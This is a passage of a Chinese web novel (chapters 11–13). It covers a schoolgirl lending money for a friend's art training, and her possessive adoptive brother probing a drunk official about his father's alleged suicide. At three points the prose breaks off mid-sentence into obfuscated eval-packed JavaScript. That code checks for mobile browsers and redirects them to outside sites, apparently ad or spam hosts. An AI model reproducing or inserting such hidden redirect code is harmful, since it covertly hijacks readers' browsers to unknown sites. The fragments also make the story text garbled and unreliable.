她现在才切实地体会到,对某些人来说唾手可得的东西,对另一群人来说难如登天。譬如祖佳琪羡慕她花钱大手大脚,她羡慕祖佳琪有一直爱她的爸爸妈妈,有其乐融融的一家人,而她的家早就四分五裂地碎掉了。
“但是你现在半路放弃,房子不是白卖了?钱也白花了?”
祖佳琪把纸巾对折再对折:“又不是坚持读完这半年就一定有出路,况且上了大学,又是一大笔开销,我觉得我爸爸妈妈负担不起的,现在各种就业形势也不好,花几十万养一个月薪三四千的孩子,哪里值得。”
打了上课铃,兴许是觉得自己有点糗,祖佳琪吸吸鼻子,把身子背过去,向她道歉:“对不起,说了叫人不高兴的话,这事儿到此为止吧,回去上课了。”
梁初楹看着她躬着背默默往前走的背影,胸腔里无声地堵住一口气,没办法叹出去。
学校放了国庆假,这次假过后就差不多要拎包去集训的基地了,但祖佳琪集训的费用还是没有交,本来约好两个人要找一天一起出去玩的,现在也只能不了了之。
梁初楹在祖佳琪打工的奶茶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188861|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
店看见了她,祖佳琪压低帽子权当不认识,给她把奶茶封口装袋,梁初楹就坐在玻璃窗前面,双手托着脸想祖佳琪的事情。
面前的光被遮住,落地窗外有人敲了两下玻璃,她凝了神投去一眼,发现是晏文韬,一只手揣在冲锋衣兜里,另一只还贴在玻璃上,她听不见外面的声音,只看见他好像想要说话。
晏文韬似乎叫他周围的几个朋友等等,低头在手机上摁了几下,梁初楹的手机立即弹进来消息:“你一个人出来玩儿?”
梁初楹看了祖佳琪一眼,最后还是收回视线。
【M】:“出来转转。”
晏文韬在玻璃外面对她招招手,示意她跟他们一起,梁初楹想也不想就摇头。
那些人她都不认识,走在一起多尴尬。
像是猜到了她尴尬的情绪,晏文韬安慰她:“没事儿,就当交朋友了,他们性格很好的,不会冷场。”
看到“交朋友”三个字,梁初楹脑子一钝。
也许她现在,确实需要向外走几步,交一些新的朋友——在上一段朋友关系失败以后。
有的时候梁初楹也会把交朋友跟谈恋爱化为一等,对于她来讲是这样,谈崩一段就找下一段,但是实际上又有微妙的不同,因为人可以不谈恋爱,但人不能没有朋友。
几番深思以后,她点了头,节假日店里人很多,祖佳琪还在忙活,梁初楹叹一口气,推开奶茶店的门出去。
跟晏文韬一起的应该是他画室的朋友,男的女的都有,晏文韬简单地介绍了一下她,说能不能再带一个人一起去唱歌。
提到这里梁初楹立马就后悔了,她应该先提前问问他们要去干什么的,把她这么一个五音不全的嗓子架在这个位置了,连拒绝的话都不好意思说了。
梁初楹的表情很僵,她的歌声是连一直奉承她的梁聿听完都要一边努力维系笑容一边违心地说“姐姐其实唱得还不错”的。
那群人已经很自然地接受她,说话的声音叠在一起:“可以啊,反正是刷我爸的会员卡,人多还更热闹,晏文韬你真够没义气的,有漂亮妹妹现在才带出来见面。”
梁初楹心说应该不是这样,她多念了一年,兴许比你们大多数人年纪大一点。
在她尴尬的时候,晏文韬随在她旁边,一如既往地善于观察,瞥她一眼,察觉到她愈渐紧绷的情绪,于是开解着:“他们都是开玩笑的。”
梁初楹讪讪:“我知道,主要是……我唱歌挺难听的。”
“没关系。”晏文韬笑笑,“你坐边上听他们唱就行,主动表演,免费的。”
这家KTV看起来档次很高,装潢十足奢华,柱子都是金色的,一只脚刚踏进去就闻到一股纸醉金迷的味道,里面有一块巨大的屏幕放金曲MV,领头的去跟前台谈自己预定的位置,梁初楹上下左右环顾这里的环境。
一个年纪不大的男生领头走,后面跟着个穿西装大腹便便的男人,还有几个走路歪七扭八看上去很闹腾的人一起围着进去。
这个点儿都去吃正餐,娱乐的人不多,晚上过来玩儿的人才最多,因此也没什么人注意到进来的这几个人。
没过半分钟,她又看见了另一个人,换掉了那件短袄,只简单套一件加棉的蓝色卫衣,KTV头顶彩色的灯球把斑驳的光晃在他表情淡漠的脸上,梁初楹即刻确认那就是梁聿。
他长手长脚,形如鬼魅,慢悠悠地走进来,像散步一样,跟前面那几个人进了一个房间。
11.变质
梁聿不过晚了半分钟进来,这包厢里已经烟熏雾绕,他挥了挥手,嫌恶地皱起眉。
“能不能别抽烟,我不能沾上烟味,回家了她闻得出来。”
游启明吐掉嘴里的烟,双手作投降状:“行行行,一天天的搞得跟你姐的童养夫一样,守身如玉洁身自好的……就你清高。”
一片散开的烟雾吞噬掉凌乱的灯光,梁聿冷乜他一眼,游启明移开视线,给气笑了:“跟你是我老板一样。”
他跟梁聿认识也不过半年,半年前梁聿缺钱,网吧一个小时两块五,他每天下了自习还去打俩小时,坐得板板正正,眼睛都不眨,在游戏里扫装备,出了好的就挂出去卖掉。
游启明家里有点臭钱,而且人蠢,不是学习那块料,他爹叫他拿个高中毕业证就滚回去进厂从基层开始干,所以他完全没有学习的压力,基本也没去过几次学校,就挂了个学籍完成义务教育而已。
老师给家里打了几次电话,气得他爹砸了他的电脑,游启明就在网吧睡了一周,发现这小兄弟技术好,还缺钱,就花了点小钱叫他代肝,一来二去就熟了些。
有的时候网吧里又吵又热,味儿还大,俩人蹲在门口吹风,他抽烟,梁聿恶心他,离他很远蹲着摁手机,游启明好奇问他:“你天天晚上十二点才回去,你家里不说?怎么这么缺钱?”
梁聿说:“我姐姐要过生日了,缺钱给她买礼物。”
游启明觉得他不上道:“那小女孩儿喜欢的,随便买点儿可爱的小娃娃、小包包小手链什么的,不就能哄得贼开心了?”
“她不一样。”梁聿的视线仍旧停在屏幕上,“她不缺钱,那种劣质的她本来就看不上。”
其实便宜的贵的都没差,因为梁初楹也没看过,通常是在梁庆面前假模假样地收下,转眼就压箱底了,在大扫除的时候被清出来扔掉。
梁初楹可以不要,但是梁聿一定会送。
游启明好奇:“你姐有钱你怎么这么穷?不是一对爹妈生的?”
梁聿摁灭手机,声也不吭就推门进去继续刷装备,游启明就知道:他说对了。
后来梁聿想腾出更多的时间挣钱,于是攒着脑袋不分日夜地去了IMO,加上奥赛成绩很不错,确定保送,就问游启明有没有更赚钱的工作给他干。
游启明顶多交点酒肉朋友,不过也就十八九岁的年纪,能搞什么杂七杂八的事情?他当然没有,但是他爹是做生意起家的,手里的门道五花八门,不过现在主要做的是科技器械的供应链就是了。
他回头跟他爸说了一声,他爸也不太在意,敷衍着说:“有钱炒股没钱卖命呗,劝你们这些小崽子还是好好读书找工作,你爹我当年也是胆大心细才杀出这么一条路的,不好走。”
他爹之前干灰色产业,每个月光给上面交保护费就得交不少,不供着上面几尊大佛,转头就会被查了。
梁聿没钱他就硬借,十足的不要脸,游启明都无语了,借了他三万块,收的利息其实也高,结果前几天梁聿就一分不少地还给他了,具体挣了多少游启明也不清楚。
后来游启明从他碎片化的语言里得知梁聿的情况,他连妈都没见过,游启明这个从小到大被有钱爹妈宠大得连书都可以不读的孩子顿时两眼泪汪汪,拍着他的肩,说哥一定给你找到你妈,梁聿“哦”一声,转头就顶着他那个恶心的笑脸昵称给他姐姐发带小波浪号的微信,人家回都不带回的。
不是?姐控也得有个限度,姐控到梁聿这种地步简直就是恐怖的程度,别人可能不太了解,梁聿完全是一副「既然她不爱我她就最好杀了我」 「既然她很烦我那就让她更烦一点然后弄死我」「爱只能爱我恨也只能恨我」的心态。
游启明坐在卡座上把半截烟摁灭,然后打了个寒战,心想有这么个神经病弟弟,他姐姐也真是倒霉。
“这就是你说的王长林?”梁聿坐在沙发另一头,还把风扇打开散开烟味儿,拆了个口香糖放嘴里嚼。
梁聿的话限制不到这位身上,所以他还是悠悠然抽着半截华子,游启明那些乱七八糟的朋友围着他吹彩虹屁,把他捧得不知云里雾里。
“他帮过我爸不少忙,你想问的崔广平的事情,当年就是他协助侦察的,还叫他立功升官了。”游启明稍微压低了一点儿声音。
梁聿漫不经心地盘弄着他卫衣的抽绳。
他七岁的时候因为车祸脑袋受了重创,从医院出来以后就回了梁家,那之前的事都记不清。梁庆告诉他,他爸是畏罪自杀,接他回去的第一件事就是改名,说他最好不要再跟崔广平扯上关系,如果不嫌弃,以后就叫他爸爸。
游启明觉着这人经历真是坎坷,跟拍电视似的,“你们家也太惨了,你爸畏罪自杀,同时你跟你妈出车祸?”
“我也想问。”梁聿说,“因为崔广平之前在纪检委工作,这事儿连几篇新闻都找不到。”
那都是十多年前的事情了,现在其实已经不流行把“扫黑除恶”四个字挂在嘴边了,喜欢号召“自查”,但在当时还是风风火火的大项目,崔广平妻子儿子出车祸以后,他在家里自杀,就留下一个纸条,摁了红手印,承认了各种受贿以及灰色产业的经营历史,规模还不小。
他牵了头,一下子扯出一整根贪赃腐败的线来,能看见的报道都是赞美华城打击“保护伞”行动的圆满成功,关于崔广平的个人事迹寥寥无几,如果不是他被梁庆带回家,梁聿甚至都无法得知这俩人是同时从俾县被调来华城的朋友。
游启明这人别的不会,谈义气交朋友是一绝,挺装地搓了个响指:“等着嗷,哥给你问。”
他转眼拉了个笑脸去找王长林聊天,说他家多么多么受照顾,他爸专程叫他布个局来感谢他,但是王长林自然没放心上,哈哈笑几声:“你爸自己怎么不来,叫你跟一群小孩儿请我吃饭,我能跟你们说什么?叫你们好好学习,将来为国出力?”
“别嫌弃啊,保不准我们以后有能帮得上您的地方,再者说个不好听的,咱们都知道,酒桌文化,来的是我们,打交道的可都是您和咱们爹妈。”
遗传的从来都不只有血液,还有财富和工作,一个萝卜一个坑,老萝卜没了就生个小萝卜补上,最后苦的是从来就没占上坑的老萝卜和小萝卜。
王长林稍微正式地看了他一眼,笑开了嘴:“你小子学习不怎么样,这方面你爸倒是跟你说了不少。”
梁聿在一旁嚼了一整条口香糖,困得打呵欠,看了眼时间,心想应该早点回去给梁初楹做饭,不知道她会不会在外面吃。
家里还有什么来着……
游启明给他倒了半杯低度数酒过来,他推开,遭受对方讥讽:“烟也不抽,酒也不喝,至于吗?”
他估计也是有点喝上头了,“你啊,都这么努力了,就算趴你姐姐面前撅尾巴,她也不会——”
梁聿接过他递过来的杯子,磕他牙上叫他闭嘴,压低声音:“有闲工夫就看看那老东西张开他一口金牙了没,撬开他的嘴以后我要快点回家了。”
游启明纳闷:“以前你在网吧待到十二点,今天急着回家做什么?”
梁聿展露徐徐笑意,不达眼底:“回去当她听话撅尾巴的小狗。”
游启明把那半杯酒自己喝掉,转头翻个白眼。
那个姓王的很能喝,好在游启明拉来的人不少,梁聿嫌这里烟酒气息太浓,所以想先在外面坐一会儿,手刚碰到门把,听见外面走廊里模模糊糊传来熟悉的声音。
“我喝不了酒,而且真的不会唱歌,要不我还是先回家吧,这个点儿我爸他们应该也回去了。”
“抱歉,叫你为难了,下次不找他们一起出去了,我再请你出去吃顿饭赔礼道歉吧,附近那家西班牙烩饭很不错。”
梁聿的手指轻轻在门把上碰了几下,他不能出去,因为会让梁初楹发现他在这里,所以必须忍到俩人都走了以后才能拉开门出去。
梁初楹客气了一下:“请客就不必了,就我们俩去也很尴尬。”
晏文韬解释着:“没别的意思,就是普通朋友吃个饭,不用太过在意,上次不是也一起吃了烤肉吗?”
“你要是回去的话我们就一起吧,送你一程。”
梁初楹说不必这么麻烦,隔壁包间窜出来一个脑袋:“你俩要走了吗?”
他看了下时间:“还有给你点的最后一首,唱完咱一起走吧。”
不过几分钟的事,梁初楹思索再三:“行是行,不过我真唱不好。”
几个人把她推回房间。
“谁唱得好啊?张哲唱得比你烂多了,还死爱吹牛皮。”
张哲:“……一定要对比吗?”
几个人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194949|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音逐渐消失在走廊里。
梁聿静了好一会儿,什么也没说,等人走光了才出门,拐弯去隔壁的便利店买了一盒脆皮的口香糖,抓了一把塞嘴里嚼,把盒子揣在卫衣口袋里往回走,拉开门的时候王长林已经醉得开始大舌头了。
梁聿显得非常没耐心:“能问了没?”
几个人把酒杯放下,打起酒嗝来,骂道:“真特么能喝,明哥,今儿可得加钱。”
“加加加,旁边这位给钱。”游启明大手一挥,几个青年视线落在梁聿身上,吹了个口哨。
梁聿用胳膊怼开那些酒杯,语气顷刻间变得像是跟他很熟:“王局?”
“醉你大爷。”他说胡话,又抻开喉咙灌了一口。
梁聿转着手里的口香糖盒子,头顶的灯光被睫毛遮下鱼刺一般的阴影,他轻声:“您也知道,但凡请客必是有求于人。”
“有屁快放。”
“认识崔广平吗?”梁聿的视线聚焦在他身上,用姓王的能听懂的口气说着,“当年您还上过这件事的表彰名单。”
王长林悠悠直起身子靠在沙发背上,眼皮支开一条缝,手指画着圈:“当然记得,牵涉颇广啊,整个华城都抖三抖。”
“难道不是谁要害他?”
王局长突然跟条鱼一样窜起来,吓了边上人一跳,惊奇道:“你这小孩为什么这么说?崔广平的事可都是板上钉钉入了档案的,清查得很彻底,不要乱讲哦。”
梁聿轻笑着:“那也太玄乎了,一夜之间,他一家人几乎全死光了。”
他瞪着两颗黄豆大的眼睛,笑得晦暗不明,吐出的气带浓重的酒臭味,梁聿又嚼了几下口香糖,差点吐他脸上。
“时也、运也、命也。你们小孩儿,是想不明白的,跟更多更混杂的人打交道以后,才会知道人是很复杂的动物,崔广平以前可是个……”他打个嗝,“好官。”
说完,王局长一头砸在梁聿肩膀上,梁聿抬了抬下巴,一巴掌把人推回去,不耐烦喊了他几声,人没醒。
游启明拍拍他的脸,还嘀咕着:“这是捞了多少,脸上的肉把五官都挤没了,跟面团一样。”
梁聿退开到一边没讲话,眼睛微眯,手指蜷了一下,并不太高兴。
游启明两手背在脑袋后面,翘着二郎腿一晃一晃的:“他醉了,那现在怎么办,你有什么头绪吗?再试一次?”
“对这种老油条,第一次嘴都这么严实,第二次就更不管用了。”他懒懒回。
游启明给了几个朋友一点儿友情演出费,叫他们回家,然后给王长林叫了个代驾送回去。
黑色轿车还没跑出去多远,车里后座的人突然晃晃悠悠坐了起来,抹了把眼睛,掏出手机拨了个电话出去。
王长林把车窗打开,听了一会儿就笑。
“老子上酒局的时候这群崽子还在喝奶呢,真以为他们能喝倒老子?”
“还以为要从我嘴里撬出什么要紧事呢,结果你那小孩就问我,是谁要害崔广平……看来一直没死心啊。”
上一秒还在大笑,下一秒王长林就变了语气:“放心吧,我都知道。”
他点燃一根中华烟,眯着眼睛把烟雾吐出去。
“我全都知道。”
“…………”
送走王长林,游启明回过头发现梁聿还坐在沙发上靠着,脑袋后仰,两只手交搭在腹部,两只眼睛看着天花板,桌子上就剩个空掉的口香糖盒子。
他嘴角抽搐:“你有病吧,又不是戒烟,嚼这么多口香糖干嘛?”
隔壁包间门没关好,传来很凄惨的歌声,唱的是《同花顺》,游启明觉得自己耳朵要聋:“靠,谁故意展现这么恶毒的歌喉要谋害我的耳膜。”
梁聿横他一眼,游启明心想自己以为交朋友是为了找免费陪玩,结果是给自己找了个爹,现在连评价别人唱歌难听的权力都没有了。
桌子上都是倾倒的酒瓶,隔壁的歌声没有一个字在调上,跟小时候一模一样,梁聿静静听着,扬着唇角笑了几秒。
游启明叫来服务员结账,问他笑什么。
梁聿吐掉嘴里已经没有味道的,用来遏止痒意的口香糖,开口说了一个字:“痒。”
单是听听她的声音,全身就像痒得即将溃烂了一样。
……好想摸摸她的头发。
12.变质
国庆假放了五天,梁初楹后续没有再跟祖佳琪联系。
十月中的集训每人要收三千块左右的费用,场地租赁以及食宿之类的都被囊括其中,祖佳琪不交就再没有机会了,后悔也没有了。
她从床上坐起来,犹豫了一会儿,还是从床上起来去翻书架顶层的盒子,好不容易踮脚够下来,撑开发现她存钱用的银行卡并不在里面。
梁初楹经常管理不好自己,因为很多事情都不需要她自己做,导致生活上丢三落四的,她“嘶”一声,想了好半天,觉得说不定跟之前的生日礼物一起放一楼的柜子里了。
她一出卧室,恰好看见两只胳膊搭在二楼走廊栏杆上的梁聿,除了皮肤白,衣服、头发、眼睛都是黑的,跟浓郁的夜色融到一起去了,乍一眼看上去就像一张皮挂在栏杆上。
好心情一扫而空,她撇撇嘴:“你大半夜站这儿干嘛,练功啊?”
梁聿鼻间轻笑一声,翻了个身背靠着栏杆,声音很轻:“身子坐得有点僵,出来到处走走。”
想到上次他进KTV的场面,梁初楹没忍住呛他一句:“在外面还没活动够?”
他似乎觉得有些新奇:“姐姐注意到我这几天不在家了?”
紧接着梁聿又笑着微微摇了摇头,他笑的时候,黑色的瞳仁就只剩下一半,嗓音暗含埋怨:“不如姐姐在外面时间长,我连你人都找不到。”
那难道她就能找到梁聿了不成?
五十步笑百步。
走廊的空间又逼仄又黑,她也看不清梁聿的视线落在了哪里,只觉得脸颊、眼皮、肩头,都有种微妙地被蛇信子舔过的感觉,还未等到腾出思绪判断这阵恶寒来自哪里,梁聿就已经靠近,只捏了捏她肩头的一小片头发,几乎是低声恳求着:“下次要去哪里不能先跟我说吗?出事了就不好了,我至少还能接你回家,更安全一点。”
梁初楹心说跟你挨在一块儿才不安全,每次梁聿用这种仿若叹息的语气跟她说话,就让人觉得自己的皮肤缓慢地热了起来,肺都像被掐走了半个,能储存的呼吸变得很有限。
她躲开些许,把自己的头发从他指尖里拽出来,瞪他:“你拿什么接我?等你毕业买车了再说,现在你还算未成年吧。”
“我二十号就过生日了,不过姐姐从来不记得,所以我才来提醒的。”
梁初楹狐疑:“你过呗,我十六号就收拾行李去集训了,又不在家,你应该跟爸说,不应该跟我说。”
“集训?”他动作一僵,像是才想起来还有这破事,语气都变不好了,“你住那里?要多久不能见面?”
“一个半月左右吧,训练完了直接参加考试了。”梁初楹下意识解释,说完以后更不高兴了,“关你什么事,我爱去多久去多久。”
梁聿找了个合理的说辞:“得有人给你送饭吧,食堂的饭你又吃不下,姐姐太娇贵。”
这个家里,梁庆上班肯定没时间为她跑来跑去,就剩梁聿时间最宽裕,确实只有他有条件每天跑一趟,但是梁初楹不想让自己成为附骨之疽的存在:“用不着,不劳你费心,忙活你自己升学的事吧,真闲得没事做就睡觉去。”
她推他一把,要回去睡觉,梁聿又在后面懒懒叫她:“可是姐姐,不给我新的阿贝贝的话,我睡不着。”
“阿贝贝”这个词从他嘴里念出来有种莫名违和的感觉,她太阳穴一跳,想起不好的回忆,后槽牙都气得磨了几下:“睡不着跟我有什么关系,我之前已经剪过一截头发送给你了,你还想要我的头发,绝无可能!”
梁初楹步子都变重了,窜进自己房间重重把门关上,觉得这个人真够不要脸的,都多大人了,还找姐姐要阿贝贝。
——梁聿的阿贝贝是姐姐的头发。
这事都不知道该怎么解释……梁聿刚来家里的时候,可能不太适应这里的环境,按理说年纪那么小,困劲儿应该也大,但他总是整日整夜睡不着觉,梁聿在小小年纪就展示出他恶的一面——他睡不着就来闹梁初楹。
也不算闹吧,他不吭声,但就跟只鬼一样扒在你床头,拿两个黑葡萄一样的眼睛滴溜溜盯着你,瘆人得很,梁初楹烦,拿怀里兔子砸他,他就小声说他睡不着,装模作样说他想妈妈。
梁初楹虽然讨厌他,但是梁聿跟她提妈妈她就也惆怅起来,因为她也想自己的妈妈,所以她立马就没脾气了,从床上坐起来,看着才长到她眉毛高的矮梁聿,问他想干嘛。
梁聿说姐姐身上有好闻的味道,他闻着安心,想跟姐姐一起睡。
他说得不清楚,梁初楹就以为他在自己身上找妈妈的味道,先是拎着自己领口闻了几下,觉得明明什么味儿都没有,梁聿要么就是长了狗鼻子,要么就是胡扯。
她实在太困了,隔天还要赶校车,没心思跟他周旋,翻了个身背对着他躺下,还要骂他一句:“敢吵我你就死定了。”
梁聿睡下了就不吵人,睡姿也安分——至少比梁初楹安分。他就是有点儿磨人,手里要抓个东西才能睡好,最开始几天抓的是梁初楹的袖子,后来会捏捏她手指,但梁初楹不叫他碰,梁聿最后就只能抓她的头发。
后来俩人年纪大了,总不能还叫他跑自己床上来睡,梁初楹就叫他滚回自己房间,把头发剪短不叫他捉,然后把剪下来的头发送给他叫他自己拿去用。
她偶尔也好奇,问梁聿他到底闻到什么味道了,梁聿盯着她,说有点难形容。
“有种独特的温暖气息,像阳光下暴晒过的毛绒绒的玩具,温暖的、干燥的,足以抚慰一切的气息。不是香味,但总叫人很安心。”
梁初楹觉得他说了跟没说一样,不就是衣服晒干以后的味道?到底哪里稀奇。
国庆结束以后的第二天,周一。
梁初楹找到了自己的卡,因为她爸总觉得亏欠,弥补的方式是给钱,她本来也花不掉太多,取了三千出来,周日就替祖佳琪把钱交了上去。
自从上次两人谈过话以后,在学校里对上彼此的眼神,祖佳琪总是会先一步心虚地避开,中午的时候梁初楹抱着饭盒,用数学书垫在屁股下面坐着,刚打开几个卡扣,看见对面的教学楼里有人走下来。
她瞧着眼熟,便眯了眼睛去看,认出是那天跟梁聿一前一后进KTV里的人,黑色的头发下面还藏了几股红毛,看上去不是个好学习的。
教导主任跟在他后面出来,大跨几步追上他,钉了他一脑门,游启明被拎着耳朵训了一顿:“上个月你才来了学校几次?晚自习每次都从窗户翻出去上网,再这样直接退学处理,高中毕业证都不会给你发。”
虽然游启明没什么目标,但是高中毕业证他还是要带回去给他老爹看的,闻此一言不由得恹恹撇嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15200700|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,眼一抬,看见对面花坛上坐着个正在吃饭的人,目光一直钉在他脸上。
游启明不认得她,以为是看笑话的,还瞪了她一眼,接着就被教导主任拎上楼里去了。
梁初楹觉得这人神经病,自己又没碍到他,无故对她撒什么气?连带着食欲都没了,把盖子一合、数学书一拿就回了教室,心想梁聿的朋友跟他本人一样没水准。
白天在科教楼上课,晚上吃过晚饭以后就要去对面的活动楼顶楼的教室里画画,没有电梯,都是生生爬上去的,上到五楼以后气都喘不匀了,梁初楹觉得自己还是得加强锻炼。
她跟祖佳琪的画板还是靠着,两人的胳膊有时候会蹭到一起,祖佳琪抱歉地看她一眼,把胳膊往回收了收。
梁初楹偷偷瞥了一眼她的画板,祖佳琪根本没在用心画,一副自暴自弃的样子,握着炭笔无神地扫动,排出来的线毫无逻辑,被秦老师训了一通,她似乎就更不想画了,梁初楹看出她又要哭。
晚自习快结束的时候,老师用遥控笔敲了敲讲台:“咱们班集训的钱都交齐了,没人不去,十五号早上八点在学校门口集合坐大巴,衣服和生活用品都自己记得带好,这次不准回家住,收收心,捱过最后这阵就好了。”
祖佳琪的身子僵了一下,脑子有点没转过来,等她立刻抬头去看梁初楹的时候,她已经收好器具下楼了。
祖佳琪蹬开凳子往楼下跑,追了出去,在一颗黄了头的银杏树底下拽住梁初楹的衣服,冲她大喊:“是你替我交的钱?我都说了我不需要、不想读了,你是不是觉得自己很有钱啊?”
梁初楹回身望着她,把自己袖子从她手里扯出来,显得很安静。
“你说话啊!”
梁初楹抬眼看看她,杏色的眼睛被路灯晃亮了一点儿。
她看见祖佳琪眼睛和鼻子都是红的,顶着一张哭戚戚的脸说口气那么冲的话,梁初楹低头理好自己被攥得皱巴巴的袖子:
“不知道要说什么,只是觉得你应该坚持到艺考结束,虽然可能以后不是朋友了,但是以前我俩也玩得挺好的,你觉得我撒钱也好,朝你炫富也罢,集训完以后你要是觉得值得,你就把钱还我,不值得就当我撒出去喂小狗了。”
祖佳琪矗立在原地,不停用手背抹眼睛,嘴角往下咧,嗓音小了一点儿:“你骂谁、谁是小狗啊。”
俩人脚底下各踩了一堆银杏树叶子,叶子堆在一起软绵绵的,心也被夜风吹得软绵绵,梁初楹也挺无措,掏遍浑身的口袋,找不到一张纸巾。
“要是实在不服气,那你就考试多考点分,考得比我高一点儿,何必拿前程出气。”梁初楹没东西给她擦眼泪,“我不是你,看不到你有多少选择,所以不能因为你不想读了就指责你,我不会说什么大道理,也不想像别人一样骂你做得不对,好歹做了这么久朋友,我觉得你人不错,最后开一条路送给你。”
学会不对怯懦的人愤怒,不为某些时刻他人的退避感到羞耻,大概是梁初楹收获过的最有用的东西。
当某一刻,人的选择无需向谁得到认同或是不认同,大概就真的自由了,毕竟“选择”不是“答案”,不具有唯一正确性,梁初楹不想剥夺掉朋友的选项,但可以尽力为她增加一个多余的选项,以纪念这份友情。
“祖佳琪,今年生日我就不送你礼物了。”
13.变质
最后一个“了”字还未完全脱口,梁初楹感到脖子一紧,往后跌了几步,脚底下那些黄色的树叶都被蹬到了空气里,在她眼前缓缓坠落。
祖佳琪揽住她脖子,趴在她肩头哭,骂她:“你怎么老自说自话啊,我真不想让你帮我,谁要你的破礼物啊……”
她的眼泪全掉在梁初楹衣领上,梁初楹听见她哽咽沙哑的嗓音:“对不起,是我老瞎揣测,其实你挺好的,我一点儿都不讨厌你……我就是受不了我自己而已。”
祖佳琪放开她,从手里拎的帆布袋里掏出一沓纸币拍在她胸口,梁初楹愣了一下,接过来一看,有零有整的三千块钱。
“你这样,我爸妈也这样,你去我家以后,我妈把我揍了一顿,非拿了钱叫我继续读,我今天本来打算下课以后就去老师那儿交钱的。”祖佳琪又擦一把眼睛,还在大喘气,胸腔重重起伏着,“这钱还你,你礼物还是得重新准备的,不准提前给!”
“你爸妈对你真好……”梁初楹喃喃
祖佳琪吸一下鼻子,嘟囔着:“毕竟是爸爸妈妈啊,他们就我一个孩子。”
梁初楹缄默着抿唇,不说话了。
祖佳琪挽住她胳膊,抽噎着抹一下湿润的眼:“好冷,眼泪都给我冻干了……回家吧,都没人了。”
刚到家里,梁庆跟守着她一样,在她路过沙发时叫住她,让她去书房聊聊。
梁初楹知道会有这么一刻,毕竟她那张卡是她爸不用的,拿给她存钱用,平时收支都会给梁庆的手机发短信。
“我看见你取了三千块钱。”梁庆开始问,“爸不记得你是会买这么贵重东西的孩子。”
她不太会撒谎,况且觉得没必要,把祖佳琪还她的三千块现金拍在桌子上,一五一十跟她爸说了。
梁庆叹口气,顶一下太阳穴说:“丫丫啊,你还是不要太相信别人,总会吃亏的。”
也许是她还不成熟,看不清这一瞬间父亲眼里的复杂,也想象不到,将来会有谁是她错信的人,因此很无所谓地耸肩,捻走了爸爸手边果盘里的樱桃。
“我不觉得这是吃亏,什么都要靠算计的话,活得也太累了,人跟人之间有一种关系,叫信任。”这樱桃酸得倒牙,梁初楹皱着鼻,耸耸肩,“而我现在不是成功了吗?祖佳琪是我最好的朋友。”
之前从未思考过“未经他人苦”的含义,现在这事搁在自己身上,梁初楹倒是醒悟了不少。
她无端想到梁聿——这个突然闯进她生活的“弟弟”,自己也无法处理好和他之间的关系,尤其是距离。
算了……无论他是谁,既然已经喊她姐姐喊了这么多年,那就好好跟他相处。
这并不难,能处理好跟朋友的,为何偏偏就是没办法跟梁聿和平相处?当然也是可行的。梁初楹含着半颗酸得发苦的樱桃,心里把事情想得极简单。
梁庆良久无言,梁初楹艰难把口中水果咽下去,然后吐槽:“还有,丫丫这名字好土,能不能不要再这么喊我了,我害臊。”
梁庆微笑起来:“这是王小姐取的,因为长得像字母Y,对着你名字最后一个字。”
离婚以后,梁初楹很少从她嘴里听见妈妈的事,梁庆不怎么以“你妈妈”来称呼她,毕竟一个女人的身份实在是太多了,可以是“前妻”,是“孩子她妈”,也可以是“那个退役的体操运动员”。
但梁庆十年如一日,只唤她“王小姐”。
梁初楹捻着手里的樱桃柄转了几圈,没说话。
有时候觉得他爸才是那个最复杂矛盾的人,总是做的跟说的不一致,如果这么在乎她妈妈,又怎么会离婚以后一次都不去找她。
梁庆挥挥手:“出去吧,爸爸还有事要忙。”
她从书房出去,路过梁聿的房间发现他门开着,里头只亮着一盏台灯,窗户敞着,门估计是没关好被风吹开的。
现在时针不过才划过数字十,梁聿不见得会睡这么早,但他现在确实是趴在书桌上就睡着了,梁初楹只瞧见他躬起的背脊和肩膀,像几座瘦骨嶙峋的山。
这么睡会不会又冻病了?梁初楹已经PTSD了。
她一扬眼,思忖几秒,决定迈出握手言和的第一步——给他一点好脸色,关心他一下,替他把窗户关上。
只不过梁初楹刚迈进去几步,踮着脚、胳膊搭在他脑袋顶上去够窗户的把手之时,不小心碰倒了桌子上的台灯,梁聿就被闹醒了。
左眼眼皮上那颗小痣在睁眼的瞬间被折进去,台灯白色的灯光把他瞳仁照得透亮,跟镜子一样,梁初楹低头在那点儿漆色里看见自己诧异的表情。
她视线在他五官上巡视几秒,看见小片光影落在他的痣上,有一瞬,心里某个地方蓦然抽了一下,像心脏某块肌肉突然被激活,跳了起来。
